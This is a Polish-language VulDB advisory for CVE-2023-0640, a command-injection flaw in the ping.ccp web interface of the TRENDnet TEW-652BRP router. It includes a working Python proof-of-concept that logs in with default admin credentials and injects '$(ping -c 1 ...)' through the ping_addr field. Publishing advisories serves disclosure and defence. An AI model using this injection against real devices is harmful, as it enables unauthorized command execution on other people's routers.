TRENDnet TEW-652BRP 3.04b01 Web Interface ping.ccp privilege escalation

CVSS Wynik metatemperaturyExploit Aktualna Cena (≈)Wynik odsetkowy CTI
7.8$0-$5k0.11

Podatność została odkryta w TRENDnet TEW-652BRP 3.04b01. Dotknięta jest nieznana funkcja w pliku ping.ccp w komponencie Web Interface. Dzięki manipulacji przy użyciu nieznanych danych wejściowych można doprowadzić do wystąpienia podatności przekroczenie uprawnień. Dokładne konsekwencje udanego ataku są dotychczas nieznane.

Informacja o podatności została opublikowana w dniu upubliczniona 2023-02-02. Podatność ta została oznaczona identyfikatorem CVE-2023-0640. Techniczne szczegóły i publiczny exploit są znane.

Exploit został stworzony w Python. Exploit można ściągnąć pod adresem vuldb.com. Uważa się go za proof-of-concept. Kod uzywany jest przez wykorzystanie:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'admin'
device_web_ip = '192.168.10.1'
ping_target_ip = '192.168.10.2'

headers = {'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': 'application/x-www-form-urlencoded', 
'Origin': 'http://{}'.format(device_web_ip), 
'Connection': 'keep-alive', 
'Referer': 'http://{}/ping_test.htm'.format(device_web_ip), 
'Upgrade-Insecure-Requests': '1'}

login_params = 'html_response_page=login_fail.htm&login_name=&username={0}&password={1}&curr_language=0&login_n={0}&login_pass={1}&lang_select=0&login=Login'.format(username,password)
login_url = 'http://{}/login.ccp'.format(device_web_ip)
r = requests.post(url=login_url, data=login_params, headers=headers, timeout=0.2)
if r is None or r.status_code != 200:
  print('Login wrong, please retry!')
  exit()

params = {
  'ccp_act': 'ping_v4', 
  'nextPage': 'ping_back.htm', 
  'html_response_page': 'ping_back.htm', 
  'html_response_message': 'The+setting+is+saved.', 
  'html_response_return_page': 'ping_test.htm', 
  'ping_addr': 'abcd"$(ping -c 1 {})"'.format(ping_target_ip), 
  'ping': 'Ping', 
  'deviceList': '', 
  '/friendlyName': ''
  }
method = 'POST'
url = 'http://{}/ping.ccp'.format(device_web_ip)

try:
  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
except:
  pass

Nie są znane żadne środki zaradcze. Sugerowana jest zamiana podatnego komponentu na produkt alternatywny.

Produktinfo

Sprzedawca

Imię

Wersja

Licencja

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Wektor: 🔍
VulDB Niezawodność: 🔍

CVSSv3info

VulDB Wynik metabazy: 8.1
VulDB Wynik metatemperatury: 7.8

VulDB Wynik podstawowy: 7.2
VulDB Wynik tymczasowy: 6.5
VulDB Wektor: 🔍
VulDB Niezawodność: 🔍

NVD Wynik podstawowy: 9.8
NVD Wektor: 🔍

CNA Wynik podstawowy: 7.2
CNA Wektor (VulDB): 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
WektorMożliwość wykorzystaniaUwierzytelnianiePoufnośćIntegralnośćDostępność
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować

VulDB Wynik podstawowy: 🔍
VulDB Wynik tymczasowy: 🔍
VulDB Niezawodność: 🔍

NVD Wynik podstawowy: 🔍

Exploitinfo

Klasa: Przekroczenie uprawnień
CWE: CWE-77 / CWE-74 / CWE-707
ATT&CK: T1202

Lokalny: Nie
Zdalny: Tak

Dostępność: 🔍
Dostęp: Publiczny
Status: Proof-of-Concept
Język programowania: 🔍
Pobierać: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Przewidywanie ceny: 🔍
Aktualny szacunek cena: 🔍

0-Dayodblokowaćodblokowaćodblokowaćodblokować
Dzisiajodblokowaćodblokowaćodblokowaćodblokować

Inteligencja Zagrożeńinfo

Wysiłek: 🔍
Aktywni aktorzy: 🔍
Aktywne grupy APT: 🔍

Przeciwdziałanieinfo

Zalecane: wiadomo nie ograniczanie
Status: 🔍

0-dniowy czas: 🔍

Oś czasuinfo

2023-02-02 🔍
2023-02-02 +0 dni 🔍
2023-02-02 +0 dni 🔍
2023-03-01 +27 dni 🔍

Źródłainfo

Status: Nie określono

CVE: CVE-2023-0640 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013

Wpisinfo

Stworzono: 2023-02-02 09:18
Aktualizacje: 2023-03-01 17:07
Zmiany: 2023-02-02 09:18 (39), 2023-02-02 09:19 (2), 2023-03-01 17:01 (2), 2023-03-01 17:07 (28)
Kompletny: 🔍
Zgłaszający: leetsun

Submitinfo

Przyjęty

  • Submit #77217: Command injection on TRENDnet router TEW-652BRP (przez leetsun)

Dyskusja

Brak komentarzy. Języki: pl + en.

Zaloguj się, aby skomentować.

Do you know our Splunk app?

Download it now for free!